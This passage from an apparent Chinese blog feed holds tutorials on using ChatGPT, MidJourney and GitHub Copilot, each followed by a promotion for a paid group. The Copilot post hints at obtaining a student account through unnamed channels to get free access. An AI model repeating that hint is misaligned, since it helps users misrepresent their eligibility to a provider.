&lt;p&gt;在一些人眼里，Python只能用来写写脚本、搞搞爬虫、做些小项目之类的，其实这是对Python的最大偏见。&lt;/p&gt;
&lt;p&gt;因为Python早就被证明可以应用在大型项目中，特别是国外很多大产品，比如 YouTube、Instagram、Quera、Dropbox。在国内，豆瓣、知乎、早期的字节跳动Python都是第一语言，当然还有很多大厂都有Python的应用场景，我们自己的项目「次幂数据」也是用的Python&lt;/p&gt;
&lt;p&gt;所以不要说Python不适合搞大型项目了。&lt;/p&gt;
&lt;p&gt;为什么这次ChatGPT也用Python来提供他们的Web服务呢？先问问ChatGPT自己怎么回答的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230411221923330" src="../../images/image-20230411221923330.png"&gt;&lt;/p&gt;
&lt;p&gt;首先，chatGPT的业务模型非常简单，就是一个聊天服务，理论上来说，随便用哪种语言都能hold住，即便是PHP、Node 也行。为什么非要选Python呢？&lt;/p&gt;
&lt;p&gt;其实也很容易理解，首先GPT模型本身就是基于PyTorch和TensorFlow这两个AI框架实现的，而他们本身就是Python开发的（内核不是），Web后端这块用Python完全可以无缝对接，整个技术团队一种技术栈就搞定了，但凡是多引入一种技术就多些成本。&lt;/p&gt;
&lt;p&gt;其次，Python真正的优势在于它易学易用、开发效率高，还记得Instgram十几个工程师搞定一个用户量上亿的产品么？ 现在ChatGPT的用户量也已经过亿了，Python很适合小团队做大项目。&lt;/p&gt;
&lt;p&gt;因为这种产品真正的性能瓶颈还是在于网络、磁盘IO身上，语言运行效率上的劣势可以忽略不计。&lt;/p&gt;
&lt;p&gt;还有说Python是动态语言不适合重构的，那是因为没有真正用过Python，因为Python早就引入了静态类型支持，但凡是代码写规范了，无论是可读性还是可维护性静态语言相差无几了。&lt;/p&gt;
&lt;p&gt;推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>ChatGPT基础用法</title><link href="https://foofish.net/chatgpt-toturial-basic.html" rel="alternate"/><published>2023-04-10T19:44:01+08:00</published><updated>2023-04-10T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-10:/chatgpt-toturial-basic.html</id><summary type="html">&lt;p&gt;1、用账号登录 ChatGPT 后，在输入框内输入问题，或者指令即可。AI 会根据你的指令，返回相应的内容。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230411151226509" src="../../images/image-20230411151226509.png"&gt;&lt;/p&gt;
&lt;p&gt;2、相比传统的智能聊天机器 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;1、用账号登录 ChatGPT 后，在输入框内输入问题，或者指令即可。AI 会根据你的指令，返回相应的内容。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230411151226509" src="../../images/image-20230411151226509.png"&gt;&lt;/p&gt;
&lt;p&gt;2、相比传统的智能聊天机器人，ChatGPT支持追问，他能根据上下文信息进行回答。例如：你问中国首都在哪里时，接着问第二个问题“有多少人”时，不需要指定“北京”。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230411150629258" src="../../images/image-20230411150629258.png"&gt;&lt;/p&gt;
&lt;p&gt;3、回答显示不完整，使用”继续“指令获取完整内容。 当回答内容过长或者意外中断时，可以输入“继续”来获取剩下的内容。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230411153344811" src="../../images/image-20230411153344811.png"&gt;&lt;/p&gt;
&lt;p&gt;4、把左侧的每一个会话当做一个角色（工具），下次提问时就不需要再提供角色预设等背景信息的设置。例如我创建一个“翻译工具”的会话，以后每次有翻译需求时，我只要直接把英文内容贴到对话框就行，不再需要提供额外指令。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230411181720264" src="../../images/image-20230411181720264.png"&gt;&lt;/p&gt;
&lt;p&gt;5、设置快捷键&lt;/p&gt;
&lt;p&gt;对于需要继续完成回答的内容，还可以设置快捷键来实现。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230411193041742" src="../../images/image-20230411193041742.png"&gt;&lt;/p&gt;
&lt;p&gt;推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>如何用ChatGPT快速制作PPT</title><link href="https://foofish.net/how-to-use-chatgpt-generate-ppt.html" rel="alternate"/><published>2023-04-10T19:44:01+08:00</published><updated>2023-04-10T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-10:/how-to-use-chatgpt-generate-ppt.html</id><summary type="html">&lt;p&gt;我们自己动手做PPT通常流程是这样的&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;确定主题&lt;/li&gt;
&lt;li&gt;拟定大纲目录&lt;/li&gt;
&lt;li&gt;补充内容&lt;/li&gt;
&lt;li&gt;美化页面&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;现在用ChatGPT来制作PPT，我们脑海里也要有这个概念，不然ChatGPT也帮不了你。主题肯定是 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;我们自己动手做PPT通常流程是这样的&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;确定主题&lt;/li&gt;
&lt;li&gt;拟定大纲目录&lt;/li&gt;
&lt;li&gt;补充内容&lt;/li&gt;
&lt;li&gt;美化页面&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;现在用ChatGPT来制作PPT，我们脑海里也要有这个概念，不然ChatGPT也帮不了你。主题肯定是我们自己来确定，比如我现在要做一个针对小白如何快速入门Python的PPT。&lt;/p&gt;
&lt;p&gt;用ChatGPT做PPT，我们还需要用到另一个小技巧，就是希望它用 Markdown 语法来展示内容。后面再借用另一个工具MindShow把Markdown内容转换为精美的PPT。&lt;/p&gt;
&lt;h3&gt;什么是Markdown&lt;/h3&gt;
&lt;p&gt;Markdown是一种轻量级的标记语言，它被广泛应用于写作、网页排版等领域。Markdown语法简单，易于学习和使用。大约花30分钟就可以完全掌握了，如果你还不知道怎么用可以参考教程&lt;a href="https://markdown.com.cn/basic-syntax/"&gt;markdown语法教程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;开始让ChatGPT给我打工&lt;/p&gt;
&lt;p&gt;先跟它交代好，让他回答的内容全部放在markdown语法的代码框中，后面我们就可以直接把内容粘贴到MinShow工具中。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230408094609040" src="../../images/image-20230408094609040.png"&gt;&lt;/p&gt;
&lt;p&gt;毕竟ChatGPT还只是3岁的神童宝宝，你要明确告诉它指令才能为你更好的给你打工&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230408100328724" src="../../images/image-20230408100328724.png"&gt;&lt;/p&gt;
&lt;p&gt;非常nice，大纲1秒生成，换作之前，你没个半天功夫不一定把大纲拟好。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="gh"&gt;#&lt;/span&gt; 小白如何快速入门Python

&lt;span class="gu"&gt;##&lt;/span&gt; 目录
1. **Python简介**
   &lt;span class="k"&gt;-&lt;/span&gt; Python的发展历史
   &lt;span class="k"&gt;-&lt;/span&gt; Python的特点与优势
   &lt;span class="k"&gt;-&lt;/span&gt; Python的应用领域

2. **安装与环境配置**
   &lt;span class="k"&gt;-&lt;/span&gt; Python安装教程
   &lt;span class="k"&gt;-&lt;/span&gt; 配置环境变量
   &lt;span class="k"&gt;-&lt;/span&gt; 安装和使用IDE（如PyCharm, VSCode）

3. **Python基本语法**
   &lt;span class="k"&gt;-&lt;/span&gt; 变量与数据类型
   &lt;span class="k"&gt;-&lt;/span&gt; 运算符
   &lt;span class="k"&gt;-&lt;/span&gt; 控制结构（条件判断、循环）

4. **Python函数与模块**
   &lt;span class="k"&gt;-&lt;/span&gt; 函数定义与调用
   &lt;span class="k"&gt;-&lt;/span&gt; 参数传递
   &lt;span class="k"&gt;-&lt;/span&gt; Python模块与包

5. **Python数据结构**
   &lt;span class="k"&gt;-&lt;/span&gt; 列表（List）
   &lt;span class="k"&gt;-&lt;/span&gt; 元组（Tuple）
   &lt;span class="k"&gt;-&lt;/span&gt; 集合（Set）
   &lt;span class="k"&gt;-&lt;/span&gt; 字典（Dictionary）

6. **Python面向对象编程**
   &lt;span class="k"&gt;-&lt;/span&gt; 类与对象
   &lt;span class="k"&gt;-&lt;/span&gt; 封装、继承、多态
   &lt;span class="k"&gt;-&lt;/span&gt; 特殊方法（如__init__、__str__）

7. **常用Python模块**
   &lt;span class="k"&gt;-&lt;/span&gt; os模块
   &lt;span class="k"&gt;-&lt;/span&gt; sys模块
   &lt;span class="k"&gt;-&lt;/span&gt; datetime模块
   &lt;span class="k"&gt;-&lt;/span&gt; math模块

8. **文件操作与异常处理**
   &lt;span class="k"&gt;-&lt;/span&gt; 文件的打开、读写与关闭
   &lt;span class="k"&gt;-&lt;/span&gt; 异常捕捉与处理

9. **实战项目**
   &lt;span class="k"&gt;-&lt;/span&gt; 示例项目介绍
   &lt;span class="k"&gt;-&lt;/span&gt; 逐步实现项目功能
   &lt;span class="k"&gt;-&lt;/span&gt; 总结与优化
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;大纲出来后，我们只需要针对每个主题进行内容补充就行，比如，我想让他简单介绍Python是什么，并限制好字数。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230408095042282" src="../../images/image-20230408095042282.png"&gt;&lt;/p&gt;
&lt;p&gt;按照这个流程，一个完整的PPT内容大概1小时就可以完成，换作之前，你至少花2到3天才能把内容建设完成。有了ChatGPT的加持，效率直接飞起。&lt;/p&gt;
&lt;p&gt;内容完成后，我们就可以用mindshow工具将markdown内容转换成PPT。&lt;/p&gt;
&lt;p&gt;在 https://www.mindshow.fun/#/login?inviteCode=6487516 注册账号登录后，我们直接把内容复制过来。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230408100901398" src="../../images/image-20230408100901398.png"&gt;&lt;/p&gt;
&lt;p&gt;内容复制到内容框后，直接点击导入创建。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230408101013053" src="../../images/image-20230408101013053.png"&gt;&lt;/p&gt;
&lt;p&gt;我们还可以继续在左侧修改格式和内容，右侧能实时预览效果，同时你还可以选定你喜欢的模版和布局。内容完成后，我们可以把它下载为PPTX或者PDF格式的文件保存。&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>MidJourney保姆级注册教程</title><link href="https://foofish.net/how-to-use-midjourney.html" rel="alternate"/><published>2023-04-07T19:44:01+08:00</published><updated>2023-04-07T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-07:/how-to-use-midjourney.html</id><summary type="html">&lt;h4&gt;MidJourney 是什么？&lt;/h4&gt;
&lt;p&gt;MidJourney是一款AI画图工具，用户只需要输入描述文字，Midjourney就可以自动生成图。目前MidJourney 必须在Discord平台使用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407143154975" src="../../images/image-20230407143154975.png"&gt;&lt;/p&gt;
&lt;h4&gt;Discord 是什么？&lt;/h4&gt;
&lt;p&gt;Discord 是一款社交工具，有点类似微信，Discord 里面有一个MidJourney的机器人，我 …&lt;/p&gt;</summary><content type="html">&lt;h4&gt;MidJourney 是什么？&lt;/h4&gt;
&lt;p&gt;MidJourney是一款AI画图工具，用户只需要输入描述文字，Midjourney就可以自动生成图。目前MidJourney 必须在Discord平台使用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407143154975" src="../../images/image-20230407143154975.png"&gt;&lt;/p&gt;
&lt;h4&gt;Discord 是什么？&lt;/h4&gt;
&lt;p&gt;Discord 是一款社交工具，有点类似微信，Discord 里面有一个MidJourney的机器人，我们只要在Discord平台订阅MidJourney bot 就可以用来AI绘画了。&lt;/p&gt;
&lt;h4&gt;准备工具&lt;/h4&gt;
&lt;p&gt;1、科学上网工具&lt;/p&gt;
&lt;p&gt;2、虚拟信用卡&lt;/p&gt;
&lt;p&gt;3、Discord账号&lt;/p&gt;
&lt;h3&gt;一：注册账号&lt;/h3&gt;
&lt;p&gt;打开 &lt;a href="https://www.midjourney.com/home/?callbackUrl=%2Fapp%2F"&gt;midjourney官方&lt;/a&gt;，点击Join the Beta，自动跳转到Discord网站&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407104806743" src="../../images/image-20230407104806743.png"&gt;&lt;/p&gt;
&lt;p&gt;如果提示邀请无效忽略不管，直接点解继续使用Discord&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407104945047" src="../../images/image-20230407104945047.png"&gt;&lt;/p&gt;
&lt;p&gt;注册或者直接登录Discord账号，支持国内邮箱&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407105103871" src="../../images/image-20230407105103871.png"&gt;&lt;/p&gt;
&lt;p&gt;登录成功后先建立一个属于自己的Discord服务器（可以认为是一个聊天房间）；依次选择：亲自创建——仅供我和我的朋友使用——输入服务器名称——点击创建&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407110937298" src="../../images/image-20230407110937298.png"&gt;&lt;/p&gt;
&lt;p&gt;创建完成后，点击左侧「下载APP」按钮，安装 Discord 客户端&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407111454264" src="../../images/image-20230407111454264.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407111259139" src="../../images/image-20230407111259139.png"&gt;&lt;/p&gt;
&lt;p&gt;下载安装完客户端后，在左上角搜索 Midjounery Bot，注意前面要输入@符号，不然找不到。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407112423576" src="../../images/image-20230407112423576.png"&gt;&lt;/p&gt;
&lt;p&gt;点击顶部Midjounery Bot 名字，将其添加到我们刚刚创建的服务器中&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407112618977" src="../../images/image-20230407112618977.png"&gt;&lt;/p&gt;
&lt;p&gt;最后点击授权并验证，这样个人服务器就和Midjourney连接上了，之后就可以输入指令进行画图创作。&lt;/p&gt;
&lt;h4&gt;订阅Midjourney&lt;/h4&gt;
&lt;p&gt;之前新人有25次免费使用次数，但现在该福利已经取消，平台说因为中国大量的人涌入进来算力不够，所以只提供付费服务了。&lt;/p&gt;
&lt;p&gt;我们直接进入官网充值：https://www.midjourney.com/account/&lt;/p&gt;
&lt;p&gt;Midjourney 订阅模式分为两种方式，按月和按年订阅，每种订阅有3种套餐，分为&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;基础版（限200张图）&lt;/li&gt;
&lt;li&gt;标准版（不限制图片数量）&lt;/li&gt;
&lt;li&gt;专业版（带隐私模式）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;10刀的基础版是按照张数收费的，20分钟时长，大概就是200张图，输入关键词算一张，点一次u或者v也算一张，没有什么性价比。&lt;/p&gt;
&lt;p&gt;30刀的标准版是有15个小时的快速生成，不用排队的，分辨率稍微高点的，大概1000张图那样，可以访问会员画廊，看别人的图和提示词，性比价可以。&lt;/p&gt;
&lt;p&gt;60刀的专业版除了增加了快速生成时间，最重要的是可以隐私生成，就是自己生成的关键词不放到会员画廊，别人看不到你的关键词。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407152338163" src="../../images/image-20230407152338163.png"&gt;&lt;/p&gt;
&lt;p&gt;MidJourney  目前只支持信用卡支付（支付宝通道已关闭），信用卡申请教程-&amp;gt;&lt;a href="https://foofish.net/apply-a-depay-credit-card.html"&gt;Depay信用卡开通保姆级教程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="01.png" src="../../images/1679224109377402.png"&gt;&lt;/p&gt;
&lt;p&gt;订阅成功后就可以开始创作了&lt;/p&gt;
&lt;h4&gt;基本操作&lt;/h4&gt;
&lt;p&gt;imagine指令 用于生成图片，格式：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/imagine  &amp;lt;prompt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;例如我想要它画一只晚上正在睡觉的猫，prompt写“a cat is sleeping at night"&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407161221285" src="../../images/image-20230407161221285.png"&gt;&lt;/p&gt;
&lt;p&gt;等待一分钟左右，就会给你生成4张猫图&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407154424527" src="../../images/image-20230407154424527.png"&gt;&lt;/p&gt;
&lt;p&gt;U1、U2、U3、U4 代表了四张图的大图&lt;/p&gt;
&lt;p&gt;V1、V2、V3、V4  对应4张图的细节调整版&lt;/p&gt;
&lt;p&gt;对话框中不仅可以输入关键词，还可以输入后缀来调整图片质量；比如--ar 16:9，代表生成 16:9 尺寸的图片；--q 5 代表输出高质量的图片（图片质量从 q 1 到 q 5）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/imagine a cat is sleeping at night  --ar 16:9 --q 5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h4&gt;如何取消连续订阅&lt;/h4&gt;
&lt;p&gt;在Discord聊天窗口输入 &lt;code&gt;/subscribe&lt;/code&gt; 后，打开Midjourney，点击Manager后 Cancel Plan 即可&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407155709710" src="../../images/image-20230407155709710.png"&gt;&lt;/p&gt;
&lt;p&gt;可选择立即取消或者到期后取消，如果以后都不想用了你就选择立即取消。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230407155917086" src="../../images/image-20230407155917086.png"&gt;&lt;/p&gt;
&lt;p&gt;以上就是关于Midjourney的入门介绍，如果要用好Midjourney，我们要学习大量的prompt技巧，你描述越具体，生成的图也越接近你想要的效果。&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="MidJourney"/></entry><entry><title>如何用chatgpt练习英语口语</title><link href="https://foofish.net/how-to-use-chatgpt-learning-english.html" rel="alternate"/><published>2023-04-06T19:44:01+08:00</published><updated>2023-04-06T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-06:/how-to-use-chatgpt-learning-english.html</id><summary type="html">&lt;p&gt;下载插件 Voice Control for ChatGPT &lt;/p&gt;
&lt;p&gt;打开Chrome浏览器应用商店：https://chrome.google.com/webstore/category/extensions ， 搜索Voice Control for ChatGPT ，这个插件用于文本和语音之间的转换， 它可以将你说的内容转 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;下载插件 Voice Control for ChatGPT &lt;/p&gt;
&lt;p&gt;打开Chrome浏览器应用商店：https://chrome.google.com/webstore/category/extensions ， 搜索Voice Control for ChatGPT ，这个插件用于文本和语音之间的转换， 它可以将你说的内容转化为文本，发送给chatgpt，然后将chagpt生成的文字内容转为成语音播放出来。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230405223449282" src="../../images/image-20230405223449282.png"&gt;&lt;/p&gt;
&lt;p&gt;安装成功后，在ChatGPT网页上多了一个语音输入的功能，鼠标点击后即可以录音，再次点击后将自动识别语音转换成文字发送到chatgpt。当然，这个插件不仅可以练习英语还支持多国语言。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230405224835888" src="../../images/image-20230405224835888.png"&gt;&lt;/p&gt;
&lt;h3&gt;快捷键&lt;/h3&gt;
&lt;p&gt;1、按住空格键（文本输入框以外）进行录音，松开键盘即可提交。 &lt;/p&gt;
&lt;p&gt;2、按ESC或Q键可取消录音。&lt;/p&gt;
&lt;p&gt;3、按E键可停止录音并将文本转录复制到ChatGPT输入框中，但不提交。&lt;/p&gt;
&lt;p&gt;现在就可以开始向chatgpt发起指令：&lt;/p&gt;
&lt;p&gt;首先将AI拟定一个角色，我们把它成为陪练口语的雅思专家，另外还要明确告诉她每次只提一个问题，然后用英文来提问。 当然，你也可以直接用应用跟她交流，就不要强调用英语回答了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230405230339489" src="../../images/image-20230405230339489.png"&gt;&lt;/p&gt;
&lt;p&gt;这时候刚刚安装的Voice Control 插件会自动把机器人发的内容转换成语音。&lt;/p&gt;
&lt;p&gt;你只要摁住空格或者鼠标点击录音按钮就可以回答她的问题，如果讲错了，可以按ESC键撤销重新录。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230405230901525" src="../../images/image-20230405230901525.png"&gt;&lt;/p&gt;
&lt;p&gt;这样你们就可以来回的对话来练习口语了，大几千的培训费直接省了。英语培训老师看到这里估计瑟瑟发抖&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>如何在Pcharm中使用Copilot写代码？</title><link href="https://foofish.net/how-to-use-github-copilot-in-pycharm.html" rel="alternate"/><published>2023-04-06T07:44:01+08:00</published><updated>2023-04-06T07:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-06:/how-to-use-github-copilot-in-pycharm.html</id><summary type="html">&lt;h3&gt;GitHub Copilot 是什么&lt;/h3&gt;
&lt;p&gt;GitHub Copilot 是由 Github 和 OpenAI 打造的 AI 编程工具。该工具可以通过自动代码补全帮助程序员编写代码、修复Bug、写单元测试 …&lt;/p&gt;</summary><content type="html">&lt;h3&gt;GitHub Copilot 是什么&lt;/h3&gt;
&lt;p&gt;GitHub Copilot 是由 Github 和 OpenAI 打造的 AI 编程工具。该工具可以通过自动代码补全帮助程序员编写代码、修复Bug、写单元测试、生成文档等。VSCode、和 JetBrains 旗下产品 Pycharm 工具都可以通过插件将Copilot集成进来。支持的语言包括 Python、JavaScript、TypeScript、Ruby、Java 和 Golang等语言。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/Fg7OOR2poxhi6sMOPQKXxRgOGH8O.png"&gt;&lt;/p&gt;
&lt;h3&gt;如何注册Copilot&lt;/h3&gt;
&lt;p&gt;Copilot 需要付费使用，普通用户有30天试用期，但针对开源作者、学生、老师免费开放使用，比如我的GitHub账号就有免费使用资格，因为我属于开源作者这一类，当然你也可以通过某些渠道注册一个学生账号免费使用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230406155152790" src="../../images/image-20230406155152790.png"&gt;&lt;/p&gt;
&lt;p&gt;登录Github账号后，申请注册Copilot： https://github.com/github-copilot/free_signup ，如果满足免费使用条件，就是下面这个页面，否则就是上面的页面。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230406111618684" src="../../images/image-20230406111618684.png"&gt;&lt;/p&gt;
&lt;h3&gt;安装 Copilot插件&lt;/h3&gt;
&lt;p&gt;Copilot 支持 VSCode、Pycharm等主流工具，我们只需要搜索插件“GitHub Copilot” 直接安装即可。这里我使用PyCharm来安装。&lt;/p&gt;
&lt;p&gt;打开Pycharm-&amp;gt;Preferences-&amp;gt;Plugins&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230406112721735" src="../../images/image-20230406112721735.png"&gt;&lt;/p&gt;
&lt;p&gt;安装并重新启动Pycharm，右下角会多一个copilot 的logo，需要你登录GitHub&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230406160857694" src="../../images/image-20230406160857694.png"&gt;&lt;/p&gt;
&lt;p&gt;如果无法登录GitHub，先测试本地是否能ping通 github.com&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ping github.com

PING github.com (192.30.253.113): 56 data bytes
Request timeout for icmp_seq 0
Request timeout for icmp_seq 1
Request timeout for icmp_seq 2
Request timeout for icmp_seq 3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;如果显示超时，请修改hosts文件&lt;/p&gt;
&lt;p&gt;Windows的hosts路径：C:\Windows\System32\drivers\etc\hosts&lt;/p&gt;
&lt;p&gt;Mac对应的路径是： /etc/hosts&lt;/p&gt;
&lt;p&gt;打开 &lt;a href="http://ping.chinaz.com/https://github.com"&gt;http://ping.chinaz.com/https://github.com&lt;/a&gt;，搜索github的ip地址，找到响应时间最短的IP，添加到hosts文件中&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;140.82.113.3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这次就可以登录Github&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230406145750492" src="../../images/image-20230406145750492.png"&gt;&lt;/p&gt;
&lt;p&gt;将设备代码复制到 https://github.com/login/device&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230406145845506" src="../../images/image-20230406145845506.png"&gt;授权成功后，在Pycharm中会提示成功登录&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230406145926610" src="../../images/image-20230406145926610.png"&gt;&lt;/p&gt;
&lt;h3&gt;如何在Pycharm中使用Copilot&lt;/h3&gt;
&lt;p&gt;登录成功后就可以直接在编辑器里面使用。比如我想写一个邮箱校验函数，检查邮箱格式是否合法，我们直接在编辑器写自然语言就行。&lt;/p&gt;
&lt;p&gt;点击右侧的Copilot机器人，就会弹出几个备选方案，双击 Accept solution 就可以把代码写入到文件中。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230406192424277" src="../../images/image-20230406192424277.png"&gt;&lt;/p&gt;
&lt;p&gt;再比如如果想写一个判断是否为整数的函数，我只要把函数名写上（甚至只要写一部分），就会自动给我完整的实现方案，注意灰色部分就是Copilot提供的：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230406193003206" src="../../images/image-20230406193003206.png"&gt;&lt;/p&gt;
&lt;p&gt;我只要按Tab键，就可以补全代码。&lt;/p&gt;
&lt;p&gt;功能键：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Tab&lt;/code&gt;选择提供的建议&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Alt&lt;/code&gt;+&lt;code&gt;]&lt;/code&gt;查看下一个建议；&lt;code&gt;Alt&lt;/code&gt;+&lt;code&gt;[]&lt;/code&gt;查看上一个建议。（macos把&lt;code&gt;Alt&lt;/code&gt;键换成&lt;code&gt;option&lt;/code&gt;键即可）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Esc&lt;/code&gt;拒绝所提的建议&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Alt&lt;/code&gt;+&lt;code&gt;Enter&lt;/code&gt;显示当前所有的建议&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然，Copilot 远不止这些功能，还可以帮我们补全单元测试，检查Bug以及写文档注释这类的活。有了Copilot，写代码效率直接起飞，你就是传说中的10倍程序员。&lt;/p&gt;
&lt;p&gt;最后推荐加入我的知识星球【ChatGPT研究社】，里面不仅有ChatGPT的保姆级教程还有ChatGPT相关的应用案例、副业案例、创业案例、商业价值分享，现在加入即可获取的一个ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>ChatGPT账号被封，如何申诉找回</title><link href="https://foofish.net/how-to-restore-chatgpt-account.html" rel="alternate"/><published>2023-04-03T07:44:01+08:00</published><updated>2023-04-03T07:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-03:/how-to-restore-chatgpt-account.html</id><summary type="html">&lt;p&gt;昨天还传言&lt;a href="http://mp.weixin.qq.com/s?__biz=MjM5MzgyODQxMQ==&amp;amp;mid=2650379251&amp;amp;idx=1&amp;amp;sn=c7efbfa24064cb3eb88d869e21ecc4ba&amp;amp;chksm=be9c28a789eba1b1fd0efa7fec7dcfb0c063d9fa145766dcfa6e7dbd386bc81caca04971ea77&amp;amp;scene=21#wechat_redirect"&gt;ChatGPT暂停注册&lt;/a&gt;，今天ChatGPT就大面积封号，哀鸿遍野，不管你是不是亚洲地区，不管你是普号还是Plus号，都有被封号的案例。目前还没有一个绝对封 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;昨天还传言&lt;a 